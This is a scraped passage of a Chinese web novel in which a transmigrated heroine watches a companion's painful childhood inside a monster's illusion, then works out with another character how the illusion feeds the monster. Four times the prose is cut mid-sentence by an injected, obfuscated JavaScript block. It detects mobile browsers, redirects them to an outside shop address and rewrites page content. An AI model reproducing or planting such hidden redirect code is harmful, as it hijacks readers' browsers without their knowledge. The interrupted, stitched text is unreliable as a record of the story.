在亲眼看过了谢斯年所经历的事情之后,她心里对谢斯年生起了一种很复杂的感情,不止是想只简单的攻略他,更想替他补足童年的缺失。 现在看看谢斯年过的那些快乐时光正好缓和一下她被伤过的小心脏,顺便也可以借鉴一下女主的做法,说不定能更快的攻略谢斯年。 不过这时候,周春和也逐渐意识到一件有些奇怪的事情。 刚刚因为谢斯年小时候亲眼目的伙伴死亡这段剧情和小说里面的情节几乎完全吻合,这也让周春和想到了更多的细节。 她大概回想起了这段剧情,小说中主角团确实伪装进了学堂,在学堂里面也确实进入了幻境。 但却不是以这种方式,更不是在幻境中见到了谢斯年的过往。 小说写的是他们并没有遇到霄无缺,而且一行人只被分成了两拨,一波是男女主,另一波就是周春和、傅怀玉和谢斯年。 女主在幻境中看见了男主的过往,原来男主看似洒脱,实则背后也隐藏了很多不为人知的辛酸往事。这个情节在周春和看来主要的为了给男女主互相一个更深的理解,同时推动接下来的剧情发展,正是因为对对方有了更加深刻的认识,才让他们的感情更进一步。 女主在了解了男主的凄惨往事之后,两人的关系果然变得更加紧密。 这边两人的感情迅速升温,另一边的三个人却没好到哪里去。 他们三个并没有进入什么幻境,而是进入了一个莫名其妙的地方,这地方荒凉无比,而且时常有不知名野兽出没。 周春和还记得原本傅怀玉对原主并没有什么看法,但是经过这件事之后看清了原身的真面目,也逐渐开始厌恶她。 不过善良的女主一直相信自己的妹妹,一直护着自己的妹妹,替她说话,直到最后差点死于自己亲妹妹的手下才幡然醒悟。 可是现在剧情发生了偏移,他们不仅遇到了一个书中从未出现过的角色,而且所经历的事情也不一样了……这又是怎么一回事? 系统说给她任务是为了保证剧情不会发生太离谱的偏移,也就意味着系统有纠正剧情偏移的责任,可是直到现在系统也没有出言说什么。 这是不是就意味着,在系统的评定标准里面,现在发生的事情并不算是偏移? 周春和一时间二丈摸不着头脑。 这剧情都过成这个鬼样子了,事情的发展也完全超出周春和的掌控,她完全不知道接下来会发生什么,这都不叫过分偏移? 周春和真就奇了怪了,对系统来说,究竟得到什么程度才能称得上过度偏移?非得让她拿刀和女主互砍才叫过度偏移吗? 而且小说中让女主在幻境里看男主的过往这个剧情周春和还能理解一二,毕竟作者可能就是设置了一个契机让他们互相更加了解,更何况这幻境在后面似乎还有别的用处,可是现在把谢斯年的过往给她看又是怎么意思?帮她攻略谢斯年吗? 可是以谢斯年的性格,让周春和知道了这些他不得更把周春和当成眼中钉肉中刺? 按照现在的分组,男女主应该还像原著一样被分在了一起,那和霄无缺一起离开的傅怀玉又在经历着什么? 周春和隐隐约约感觉有什么东西正在发生悄然变化。 周春和还记得最后这一个副本属于那种前面很困难但后面比较容易的类型,尤其是后面对上副本的终极boss镇纸怪时是整个副本中最容易的时候。 那个什么鬼镇纸怪看似凶神恶煞,实则是外强中干,主角团对上他的时候,稍稍用几张符咒就能拿下。 而且周春和还隐约记得那镇纸怪似乎和这些幻境啊荒凉之地啊有什么联系,具体是怎么回事周春和记不太清了,只记得幻境的主要用处是促进男女主的感情,次要任务是给他们通关这次副本制造一些困难。 但这个困难具体是什么,周春和已经不太记得起来,只记得最后那个boss镇纸怪对他们来说是小菜一碟,很容易就把它拿下了。 胡思乱想了一会儿,周春和便有些担心傅怀玉的处境,又担心这过程会不会太过于坎坷。 不过好在剧情在被持续推进,周春和没多少想别的的事情,不得不打起精神继续看那少年接下来的经历。 果不其然,接下来发生的事情就属于“粉色”的范围了,谢斯年在巫山谷的这几年过的还算是开心。 周夏莲虽然不知道他的身世,也不知道他具体经历了什么,但是能从少年骨瘦嶙峋中看出来他已经受过很多苦,因此将他捡回巫山谷后,周夏莲一直以姐姐般的态度关怀谢斯年。 可是有一点谢斯年一直想得不错,周夏莲对他好是纯粹的好,但也仅仅是因为她心善,觉得谢斯年可怜而已。 就算是换了任何一个人来,周夏莲也会收留他,也会像对待谢斯年一样对待那个人。 无关身份,只是性格使然。 在巫山谷的那为数不多的几年,谢斯年逐渐被周夏莲诚挚的关怀感动,最终放下了戒备,接受了来自他人纯粹的善意。 在接下来的幻境里,周春和看着谢斯年一点点被周夏莲治愈,看着谢斯年一点点解开自己心中的结,看着他逐渐寻找到压制妖力之法,看着他……逐渐依赖周夏莲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576628|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他惯会伪装,他知道周夏莲喜欢天真无邪的自己,于是在周夏莲面前,他永远像是那个长不大的、爱朝着她撒娇的孩子。而他那狠戾的一面则被他深深藏进了心底。 于是周夏莲真的就一直把他当作自己的亲人。 她从不知晓谢斯年的心意,更不知道真实的谢斯年是个什么样的人。 周春和在幻境里面看到了很多谢斯年偷偷替周夏莲做的那些事情,而周夏莲几乎全都不知情。 两人在外面捉妖练手时,谢斯年会提前一晚守在林中,将那些可能会伤到周夏莲的凶兽提前处理干净,然后将尸体藏起来,再将自己一身血污的黑衣悄悄换下,第二日再装作无事发生的模样笑着陪周夏莲一同出去。 他知道周夏莲爱吃糕点,于是没事便往厨房跑,守在窗户外面看那些厨娘是如何做饭,直到后来自己的轻松做出一大桌的糕点,周夏莲想什么时候吃到他都能立刻做出来。 再比如有段时间周夏莲晚上睡不着,谢斯年便也每夜不睡,守在周夏莲床前打地铺,陪她谈天说地。但他自己因为妖力整晚整晚睡不着的时候,却从来都是一个人默默的忍下来,从不去打扰周夏莲。 总之谢斯年几乎将能学会的东西学了个遍,洗衣做饭,烧水添柴。他很少有自己的娱乐时间,几乎大部分都拿来陪着周夏莲,他希望周夏莲有什么需要的时候,他会是第一个替她完成的人。 原本巫山谷中年龄相仿的只有他们二人,所以周夏莲和他在一起的时间最久。这种生活让谢斯年十分满意,可是后来周春和来了。 然后没多久,裴瑾也出现在他们身边。 裴瑾的出现几乎分走了周夏莲大部分的时间,谢斯年不会看不出来裴瑾心悦周夏莲,更不会看不出来周夏莲同样喜欢裴瑾。 裴瑾抢走了周夏莲几乎所有的注意力,也抢走了她大部分的关注和感情。于是谢斯年能见到周夏莲的时间急剧变少,常常都是他来找周夏莲的时候,周夏莲正在和裴瑾一起研究符纸或实验符咒。 周春和看着谢斯年一个人默默的守在二人房外,看着谢斯年欣喜的端着一碟新出炉的点心给周夏莲,却被忙着和裴瑾制药的周夏莲草草拒绝。 看着谢斯年从此以后再也进不去周夏莲的房间,晚上周夏莲睡不着时,陪在她身边的人换成了裴瑾。而谢斯年只能坐在门外,伴着房间内透出来的亮光坐一整夜。明明只有一墙之隔的距离,可周夏莲对他来说像是远在天边一样求而不得。 裴瑾来到之后,陪着周夏莲出去猎妖试手的人也就变成了裴瑾,可裴瑾从不会提前一晚清理那些怪物,是以第二日周夏莲一个没留神伤到了胳膊。 虽然只是一道很小的伤,但谢斯年还是勃然大怒,他质问裴瑾为什么不照看好周夏莲,又和周夏莲撒娇,央着她下次带上自己。 可周夏莲只是告诫他注意言辞,不痛不痒的替裴瑾开解几句,第二日带去的人还是裴瑾。 周春和看见了少年的眉眼从欣喜换成了黯淡,从期待换成了失望。 于是周夏莲对他来说,又成了那个远在天边的人。 就像是挂在天边的那轮圆月,月亮将自己的光辉洒到众人身上,他感受着月光的皎洁,但是永远也成为不了那个可以陪伴月亮的人。 23. 白庄 周春和看着幻境中的这一切,心中对谢斯年的怜悯不禁更深。 看书的时候,注意力大多集中在男女主身上,虽然周春和不看好男女主这个组合,但作者花在男女主身上的笔墨确实是最多的,连带着她也不会太在意两个配角的经历。 甚至是在进来之前,她对谢斯年的印象还仅停留在“白切黑”、睚眦必报、重度姐控上,从来没有留意过他曾经经历过什么,又是为什么会变成这种性格。 而陪伴了谢斯年很长时间、对谢斯年影响最大的周夏莲也从未发现谢斯年内心空缺的那面,更别说其他人了。 正当周春和思索自己要不要调整自己攻略谢斯年的方法时,一边的谢斯年忽然发出一个轻轻的语气助词:“啧。” 周春和一个激灵,回过神来:“怎么了?” 幻境的景象还没有结束,谢斯年用眼神示意周春和往前看,周春和顺着谢斯年的视线看过去,在巫山谷的祠堂里看见供奉着的神明。 这祠堂除了供奉先祖之外,还会供奉一下主流的一些神仙。巫山谷供奉的就是创世神。 周春和对这些事了解不多,看了一眼那创世神的形象,竟然长得眉清目秀,一头乌发披在身后,眼睛是浅蓝色的,看起来温润如玉。这周身气质,倒是和匡扶正义的周夏莲有些像。 而且这创世神看着年龄也不大,远山眉,杏子眼,没想到和普通女孩没什么区别。 不过那创世神右耳上带着一条耳坠,垂着一枚晶莹剔透的蓝色不规则宝石,周春和觉得这耳坠上面的宝石形状有些奇怪,好像不久前就在哪里看见过,盯着看了两秒才恍然想起来这叫“缚玉盘”。 这东西是个新奇玩意儿,还是之前在巫山谷的时候偶然看书看到的。 刚来的那几日周春和日日郁结于心,就差以泪洗面了。后来好了点,就去藏书阁里想瞧瞧有没有类似的话本小说给自己一个借鉴参考,翻着翻着就翻到了一本记录上古神器的东西。 她出于好奇翻开瞧了瞧,这第一页就是讲的缚玉盘。 缚玉盘乃是上古三大神器之一,是用来束缚人用的。不过它不像是普通的绳索那般只能限制人的行动,而是一旦用于某人身上,这人便永生永世甩不开这缚玉盘,据书上记载,只有死亡才能让缚玉盘自己脱落。 缚玉盘不仅可以限制人的行动,而且还可以根据缚玉盘主人的意愿让使用者时时刻刻处在痛苦之中,直到缚玉盘从这人身上离开。 不论对方是什么人,此人的内力如何深厚都无法轻易挣脱。也因此这缚玉盘被列为上古三大神器之中。 不过就是不知道这大名鼎鼎的缚玉盘会在创世神身上。 周春和回忆了一下,自从穿来之后,她呆在巫山谷的时间统共也没几日,自然没去过这祠堂,也没见过这幅画。若不是这幻境,她还不知道有这种东西呢。 回去了有空了倒是可以问问周夏莲。 想到这里,周春和随口问了一句:“难道这缚玉盘的主人就是创世神?可传闻中创世神不是早就仙逝了么?那现在这缚玉盘又在哪里?” 谢斯年回头瞥了少女一眼,挑了挑眉:“你还知道缚玉盘?” “自然。” 谢斯年来了兴致,难得多问了一嘴:“那你说说这缚玉盘有什么来头?” * “这缚玉盘大有来头,只是没想到傅公子了解这么深。” 另一边,另一个幻境中的景象和周春和他们遇到的完全不同。 霄无缺饶有兴致的看着一边的傅怀玉,他嘴里正漫不经心的叼着一根狗尾巴草,语气却十分不客气:“难不成傅公子与这缚玉盘还有什么渊源不曾?” 傅怀玉脸色似乎不太好,但依然维持着温和笑意:“只不过是稍稍了解一些而已,没什么值得拿出来说的。” 霄无缺看了他一眼,便不再说话了。 他继续抬头看前面的景象,原来二人所在的地方是一个极高的山峰之上,周围再没有比此处更高的山了,这山峰之上并不是层峦叠嶂,而是一大片被开辟过的平整土地。 在这山顶平原之上,有一个看着年岁不大的女人。 霄无缺回头看了傅怀玉一眼,像是明白了什么,忽地一笑:“看来这傅公子身上的秘密颇多,并非表象那样平常啊。不过我也弄明白了很多事情……啧。” 傅怀玉闭了闭眼睛,面色苍白。 * 谢斯年的经历到这里就算是结束了,周春和以为接下来会是自己的人生经历——她现在倒是十分好奇,如果幻境里面真会将她的过往展现出来的话,到底是会展现原主的人生经历,还是她本人的人生经历。 如果展示的是原主的人生经历的话,那她只能像是一个看客一样和谢斯年看完这一切。而且看这幻境的内容,周春和大概能猜出来所摘取的都是对幻境主人意义非凡的片段。 比如刚刚看的有关谢斯年的人生经历,几乎囊括了直接或间接导致了谢斯年人生转折的片段,所以如果是原主的经历,那也应该是比较重要的片段。周春和有些担心这些片段传递出来的信息会对现在的她不利,毕竟原著里面写的就是因为经历了这个副本,这才导致了两个配角对周春和的印象更差。 不过若真是这样的话,也有一个不算是太好的好处,那就是周春和可以更了解原身的经历,说不定能对回忆剧情有帮助。 虽然这情节已经被魔改改的面目全非,周春和都不知道回忆原剧情还有没有用处。 如果幻境所展示的是现在这个周春和本人的经历,那一定是充斥着那个时候所没有的高科技和五花八门的新奇东西,谢斯年如此聪明,估计看一会儿就能看出端倪。他肯定很快就能明白现在这个周春和其实是旧瓶装了新酒,早已经不是原来的那个周春和了。 这种情况一旦出现,周春和几乎算是直接被判了死刑。 在这种情况下,系统一定会出手干预,可是它会以什么办法干预呢?这件事简直像是一个悖论,如果系统让他们看到周春和真正的过往,那就会导致任务失败。但如果它隐瞒周春和的过往,那不知道符不符合小说世界的规律… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576629|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 周春和也想不出来接下来的发展趋势,就只好耐着性子继续看下去。 可是接下来的事情和她预想的完全不同。 一般在两段不同的幻境交接之时会出现一段时间的空白期,这个时间段没什么可以做的,只能百无聊赖的等待。 但是这次的“空白期”似乎有点奇怪,周春和等了半天也没等到幻境重建。她索性不再等下去,正想转头和谢斯年说话,一转头却发现谢斯年不见了。 周春和顿时紧张起来,如今情况不明,原本两个人一组就已经有很大风险,现在只剩下周春和,那她岂不是更是处在危险之中? 周春和手里捏紧周夏莲给她的符纸,无比警惕的叫了两声谢斯年的名字,可是周围空荡荡的听不见一点声音。 她的心一点点沉下去。虽然谢斯年此人顽劣不堪,但周春和不得不承认有他在身边还是会觉得安心很多。 就在这时,背后忽然响起不太平稳的脚步声。周春和心下一突,慌忙回头看去,在光影变幻的明明暗暗之中,她看见了傅怀玉那张熟悉的脸。 周春和长舒一口气,沉下去的心这才又有回升的趋势。 她走到傅怀玉身边,一抬头就是一张笑脸:“傅怀玉,你怎么忽然出现了?刚刚你不是和霄无缺在一起吗?他人呢?谢斯年去哪了你有没有看见?还有我阿姐他们,你有没有见过?” 面对周春和这一连串的问题,傅怀玉先是惯常笑了笑,然后才耐心的解释道:“刚刚一转身便不见了霄公子的踪影,往前寻了两步便看见了姑娘。谢公子么?我也不曾看见,令姐我也不曾遇到过,想来是被拖进了另一个幻境吧。” 周春和一愣:“另一个幻境?……这是什么意思?” 傅怀玉道:“进来之后我便一直察觉不对劲,方才忽然想起了那茶,这才想通这是怎么一回事。” 周春和一开始还没想起来傅怀玉说的“茶”是什么东西,经他提醒才想起来原来是那杯他们在食堂里面喝过茶,当时周春和还曾夸过好几次那茶很香。 周春和愣愣的问:“那茶怎么了?” “此茶名为银烛茶,乃是流传极少的一种茶,配合一种名叫泊烟香的香料便有让人致幻的效果。周姑娘还记不记得咱们进门时,曾闻到了一股淡香?” 傅怀玉这么一提醒,周春和还真都想起来了:“没错!我记得自己当时还嘀咕为什么要在吃饭的地方点香,当时只觉得是多此一举,没想到这背后竟是大有用处。” 傅怀玉点了点头,继续道:“咱们之所以进入幻境,想来和那香茶分不开关系。” 周春和琢磨了一会,察觉到不对劲的地方:“可这东西是谁弄的?那个镇纸怪么?可它弄这些东西做什么?不是说镇纸怪靠吸食学生的怨气为生吗,又没什么要让我们进入这幻境之中?这对它来说根本就是毫无意义吧。” “不,说镇纸怪是靠吸食怨气为生太过于片面,它所吸食的,不仅仅是怨气。至于姑娘问着幻境……这幻境自然大有用处,它是镇纸怪用来杀人的利器。” 24. 白庄 经傅怀玉一解释,周春和很快明白过来。 镇纸怪并非全靠怨气为生,而是靠着人的喜怒哀乐等等情绪,不论是开心还是悲伤,任何一种情绪都可以为镇纸怪提供能量。 情绪波动越大,则提供的能量越多,所以镇纸怪为了吸收更多的能量,必须要将进来的人的情绪调动到最大,以此获得更多的能量。 而这个幻境正如傅怀玉所说,是这镇纸怪借助泊烟茶和银烛香编织出来的,幻境中所呈现的画面乃是进入幻境之人的经历,是他们这一生中最难以忘怀、最后悔或最开心的经历。这种亲身经历更能激发人的情绪。 而一旦被幻境牵动的情绪超过了某种特定的阈值,那就意味着此人在无形之中已经在镇纸怪的控制之下了。 那些学生之所以越来越痴呆,便是因为被那镇纸怪吸收了太多情绪。如果轻易杀掉镇纸怪,那那些学生的情绪无法归回原位,只会一直这样呈现行尸走肉状。所以虽然怪物易杀,但因为有那些学生,也没办法轻易动手。 周春和捡了几个自己觉得最要紧的问题问了:“那就没什么办法了么?只能任由这怪物为非作歹?” 傅怀玉道:“其实杀掉这怪物简单,便是我们不直接动手,只需要在外面设几个符挡住下一波进来的学生,这镇纸怪就是失去能量而死。可是怪物一死,被它吸食情绪的那些学生也全都无力回天,所以我们必须要想个办法让镇纸怪把它吸进去的那些情绪全部吐出来……至于这办法,办法自然是有的,别人或许了解不多,但之前我为寻补天石游历四方,恰好听说一些类似的解决办法,只是这办法极其困难,我们怕是也难以实现……” 周春和急道:“不管是什么,你先同我说说。人多力量大,说不定咱们一起想就能想出办法来了。” 傅怀玉看了她一眼,似乎有些无奈,但还是温柔的叹了口气,笑道:“好,告诉你也没什么。那办法就是,找一个不会被这幻境影响之人,若是此人亲手杀掉镇纸怪的话,那就不会遭到情绪反噬,镇纸怪找不到吸附情绪的地方,便只能将那些情绪‘物归原主’。这办法听着很简单是不是?可是这最难的地方在于这世上去哪里才能找到这样一个人呢?每个人都有自己一些不为人知的经历,在幻境里面,不管那些经历隐藏的多么深,不管你的内力有多高,都不得不以旁观者的身份看一遍那些难以释怀的过去。周姑娘,我不相信有人可以没有任何触动,除非是至纯至善之人,从未做过任何违心之事,我知道你现在想的肯定是你阿姐和裴公子对么?他们两个看上去确实不像是有什么污点的人,可是不要忘记,喜悦和开心也是情绪的一种,他们二人已经相爱,有时候爱情所引起的情绪比恨还要强大,所以他们不仅做不到这一点,甚至有可能比我们陷的更深。周姑娘,你觉得这个世界上有那种无欲无求无喜无悲的人吗?” 听完这番话,周春和陷入了沉默之中。 是啊,这个世界上真的有这种人么? 不以物喜不以己悲……怎么可能有人做到?就连周春和自己都有说不清的欲望,也有很多不为人知的秘密。 如果说这里面最有可能陷得最深人,那想来就是她。因为现在她身上背负着一个最大的秘密,若是在幻境里看到她之前的那些生活……周春和不确定自己好不容易说服自己重整好的心境会不会再次崩塌。 假如傅怀玉开口要金山银山,或者是什么难以寻觅的法器,那她还有可能找到,可是想要找到这样一个人……这有可能么? 小说的原剧情写的破解方法乃是谢斯年和傅怀玉他们不曾进过幻境,还没有受到过幻境的影响。离开之后四处寻找解决办法,最后真找到了一个隐世高手,那高手有一种特殊的法宝,可以逼出镇纸怪体内吸收的情绪……可是现在小说剧情有了大幅度偏移,谢斯年和傅怀玉也都进入了幻境之中,听傅怀玉的意思,只要进入幻境便会受到镇纸怪的影响,除非杀掉镇纸怪,否则他们根本出不去。 也就遇不上那个隐世高手。 所以这件事根本就是一个死路。 周春和觉得胸闷气短,这死系统,剧情都偏移成这样了也不出来调整一下吗?原本她还觉得自己手拿剧本,要比其他人过得更滋润顺利一点,可是没想到剧情一改再改,不仅出现了没出现过的配角,该出现的配角也还都不出现,改成了一个全新的剧本,她原本知道的那些东西就完全派不上用场了……真是岂有此理。 傅怀玉露出一个有些奇怪的笑,但人还是温和有礼的:“这件事实在是没有办法了,也只能顺其自然……” 两个人说话的工夫,周围的幻境又开始变化。 周春和只好压下心中的愤愤之意,留意幻境中的动静。 可是出乎周春和的意料,这幻境里面的场景变了一会儿,最后竟然什么也没变出来。 周春和感觉自己站在了一片虚无之中,周围什么都没有,蓝天白云,脚下的土地,甚至连幻境本身好像都不存在了。 两人陷入了一片虚无之中。 周春和一开始还有些紧张,她以为这是来到了自己的幻境这才什么都看不见,可是问了问脑子里的系统,那系统却说这是傅怀玉的幻境。 傅怀玉的幻境? 周春和瞪大眼睛看着周围,傅怀玉的幻境为什么是这样的?什么都没有……看着像是掉入了十八层地狱。 也不对,周春和也没去过地狱,也不知道地狱是什么样的。 不过这实在是太奇怪了,难道说傅怀玉没有任何情绪? 或许是看出来了周春和脸色显而易见的震惊,傅怀玉温和的开了口解释:“若是我没猜错,这段幻境所展示的,是我觉得人生中最令我感动的东西,又或者是,我最想看见的未来。” 周春和一愣,下意识的脱口而出:“‘最令你感动的东西’,‘你最想看见的未来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576630|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ’?什么意思,这个幻境难道不是只能展示出经历过的事情吗?” 既然是有关于未来的事情,那就说明这样东西或这件事还没有实现,这幻境这么强大,难道连没发生的事情也能料到么? 奇怪也哉,不是说这个镇纸怪是个低阶的怪物吗?为什么能配合茶香捏造出幻境?甚至这幻境还可以窥探人心。这绝不不是一个低阶怪物可以做到的吧? 这到底是怎么回事儿?难道连怪物都进化了? 周春和心里一时有些不知味,原本他们就找不到离开的办法,若是这怪物比她想象中的还要强大,想来接下来的路只会更难走。 听见周春和的疑问,傅怀玉解释道:“这幻境所能做到的远不止这些,想来那镇纸怪也绝非等闲之辈。” 傅怀玉他们还没有和怪物正面交手,又不像周春和那样提前看过小说——虽然看的稀里糊涂的,现在也已经忘得差不多了,但起码还有点印象。所以在遇到了这样一个幻境之后,理所当然的会认为做出这个幻境背后的怪物实力高不可测。 周春和没说什么,主角团没看过原著小说,周春和一时半会儿的也没办法和他们说清楚。说少了吧他们理解不了,说多了又容易露馅,周春和只好自己另想办法找别的出路。 胡思乱想间,周春和又仔细看了看这幻境,后知后觉的反应过来:“傅怀玉,你说这幻境现在所呈现的是最让你感动的东西?可这幻境里面什么都没有啊……那你最感动的经历……” 她一下就转过弯来,双眼睁大,似乎无比震惊:“你身边从没发生过什么让你感动的事情?” 傅怀玉回头看她,脸上带着笑,但是笑意少见的不曾漫进眼底,用一种开玩笑似的口吻道:“是呀,我的前半生实在算不上是值得纪念,不管是感动的事和难忘的事都很少。” 周春和一愣,首先想到的便是那这么说的话,傅怀玉岂不是难以被拨动情绪? 难以被拨动情绪不久意味着镇纸怪很难通过幻境从傅怀玉身上吸收能量,那傅怀玉也会很少受到镇纸怪的影响么? 就在周春和以为自己找到了突破口,准备问一问傅怀玉的时候,傅怀玉却先一步开了口:“不过我虽没有难忘和感动的事情,但是却有一个执念……或许也不能说是执念了,这几乎是我记事以来最渴望的东西。镇纸怪窥见了我的执念,在上一个幻境中以执念为引,从我这里吸取了很多情绪……周姑娘,我或许能猜到你刚刚在想什么,但这个方法怕是不行。抱歉。” 周春和摸了摸鼻子,似乎还有些不好意思:“你为什么要道歉?这件事原本也不是你的错。罢了,不行就不行了,总归还会别的办法。天无绝人之路,我相信咱们肯定能绝处逢生。” 呸!他爷爷的,要是她绝处逢不了生,她不介意毁灭整个人类文明! 就在周春和以为这种虚无会持续下去的时候,周围的景象再次发生了变化。 25. 白庄 原本的虚无逐渐散去,周围渐渐被一些景致取代。 绵连几千平方米的荒地从眼前向远处铺开,旷野如同被徐徐展开的画卷逐渐显露出完整的容颜。 周春和放眼望去,只能看见无垠的荒野和盘旋在黄昏中的几只大雁。 怎么个事儿? 周春和左右看了看,往傅怀玉身边靠了靠,问道:“场景发生了变化……难不成是这幻境知道你没什么感动的事情,为了拨动你的情绪,所以又换了一种方式?” 傅怀玉点点头:“很有可能。” 周春和耐心等了一会儿,但是除了孤雁的凄惨叫声之外再没有其他变化。 她忍不住思索,这看着不像是傅怀玉从前经历过的事情,因为看着傅怀玉的表情似乎对此也很陌生,而且这里只有荒地,等了半天也不像有什么事情要发生的样子。如果这里真的发生过什么事情,而且还是让傅怀玉难以忘怀的事情,那么他的反应不会这么平淡。 想到刚刚傅怀玉说过的话,周春和心道,难不成这是和未来有关的事情?傅怀玉根本没有经历过,所以看着才和她一样茫然。 但既然是未来的事情,那会和什么有关呢? 傅怀玉道:“这么干等下去也发现不了什么,不如我们四处走走吧。” 周春和也是这般想的,闻言立刻点头道:“好。” 两个人沿着脚下的路往前走,荒野一望无际,像是怎么走都走不到尽头。 周春和走了一会儿,眼前还是单调的景象,她泄了气,拉着傅怀玉蹲下,用手锤了锤自己的小腿肚子:“天都快黑了,这样一直走下去不是办法,不如我们先找个容身的地方休息一下吧。” 傅怀玉看了看四周,只有前方有座低矮的山,看起来能挡风。他指着那山道:“不知接下来情况如何,那座山虽然不大,但看着也应该能挡些风雨,周姑娘再忍耐一会儿,等到了山下再休息吧。好不好?” 周春和一想傅怀玉说的也对,于是站起来,鼓足信心和傅怀玉一口气走去了山下。 好在这山不远,两个人边走边聊,很快就到了地方。 山下还有许多碎石,傅怀玉捡来几块围成一个圈,回头和周春和道:“山下避风,再围上这些石头就差不多了。若是夜里气温不会突变,那这一夜应当是比较容易度过。” 周春和点点头:“这幻境中的一夜便是外面的一夜么?” 傅怀玉摇摇头:“应该不是,幻境中的时间与外面的不同,这里的一天一夜应该也就是外面的一瞬而已。” 周春和松了口气,心道这就好,这样若是有人先离开了幻境,也不至于在外面等太久。 她现在只祈祷幻境中的天气不要多变,现在这个气温就正好,晚上千万不要再忽然降温,否则她衣服什么的都没带,晚上岂不是得活活冻死在这。 傍晚的夕阳一闪而过,月亮很快升上来,漫天繁星闪烁。 周春和和傅怀玉背靠矮山,坐在石头堆里。 好在气温没有下降的趋势,两个人靠在一处也不觉得冷。 周春和没什么睡意,便和傅怀玉聊天:“傅怀玉,你们刚刚在幻境里面看见了什么?听你之前的口吻,那幻境所展示的似乎是你的事情。” 傅怀玉目光有一瞬间的凝滞,不过周春和没看他,所以没有留意。傅怀玉很快回过神,脸上又带上了笑:“是,不过没什么,只是一些私事而已。你好像是和谢公子一起离开的,你们可曾遇见什么危险?” 周春和的思绪果然被带偏了,她仔细想了想,幻境中看见的几乎都和谢斯年有关,不过有关于谢斯年的私事,也不好仔细和傅怀玉说,于是周春和便也一笔带过。 这件事很快被抛诸脑后,周春和又问:“傅怀玉,你家既然在姑苏,这一路走来想必遇到了不少奇闻轶事,可有没有让你难以忘记的,给我讲讲好不好?” 傅怀玉神情似乎有些无奈,摇摇头笑道:“为加快时间寻找补天石,我这一路皆是走些人迹罕至的小径或荒地,除了你们外,还未曾遇见什么让我难以忘记的人。” 周春和一想也是,怕也正是因为这个,所以傅怀玉才没有遇见过什么令他感动的事。 周春和道:“那这样吧,我给你讲讲我遇到的事,如何?” 傅怀玉温和一笑:“那我自然是洗耳恭听。” 周春和讲什么都能讲的绘声绘色,就是一脸微不足道的小事到她嘴里也会变得有趣。她挑了几个自己的童年趣事讲,很快就把傅怀玉逗笑了。 一直到深夜,两个人才靠着睡了过去。 第二日,初升的太阳照在周春和脸上,将她从梦中唤醒。 周春和揉了揉眼睛,一转头,就看见原本坐在身边的傅怀玉不见了踪影。 周春和一下子清醒过来,“噌”的一下站起身,边往外走边叫傅怀玉的名字。 熟悉的温柔声音很快在另一侧响起来:“我在此处,姑娘不必着急。” 周春和一转头,傅怀玉拿着两枚新鲜的果子走了过来。 周春和盯着那果子看了一眼,肚子后知后觉咕咕叫起来。 ——原来在幻境里面,会随着幻境里的时间感觉到饥饿。 傅怀玉笑着将果子递给周春和,周春和接过来的时候才发现果子上面沾了水,是被洗过的。 她奇道:“这果子是从哪来的?还有这洗果子的水……” 她随手擦了擦,咔嚓咔嚓咬下一大块。 傅怀玉笑道:“我早上起得早,就去附近看了看。这山后面再往南走走便有一条河,河的那边有片小林子,果子和水就是在那里找到的。” 周春和恍然大悟,因为睡饱了觉,所以她精神不错,吃完那两个果子差不多饱了,便和傅怀玉说:“那咱们再进林子里找找,看看还能不能找到其他东西。” 这林子确实不算大,不过该有的东西却是应有尽有,果树什么的也有很多,好几棵都挂满了黄橙橙的果子。周春和随手摘了两个橘子当零嘴吃了,和傅怀玉一起往林子深处走去。 两个人很快发现了一个小木屋,周春和率先推门进去,屋中似乎已经常年没人住过,桌上凳子上蒙了一层灰尘。周春和伸出食指一划,指尖上就沾了一层尘灰。 周春和在房间里转了转,这房子虽然看着破旧,但是该有的家具也都有,床凳子椅子也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576631|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缺胳膊少腿,只不过就是破旧了些。 